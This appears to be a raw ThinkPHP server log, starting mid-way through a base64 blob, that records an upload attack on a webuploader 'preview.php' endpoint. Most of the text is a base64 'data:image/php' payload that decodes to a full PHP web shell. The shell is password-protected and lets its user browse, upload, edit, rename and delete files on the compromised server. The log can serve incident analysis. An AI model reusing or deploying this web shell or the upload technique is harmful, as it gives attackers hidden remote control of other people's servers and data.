gLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:03:55+08:00 ] 119.42.146.234 POST 59.110.137.245/static/admin/hui/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002999s] [吞吐率:333.44req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2Uo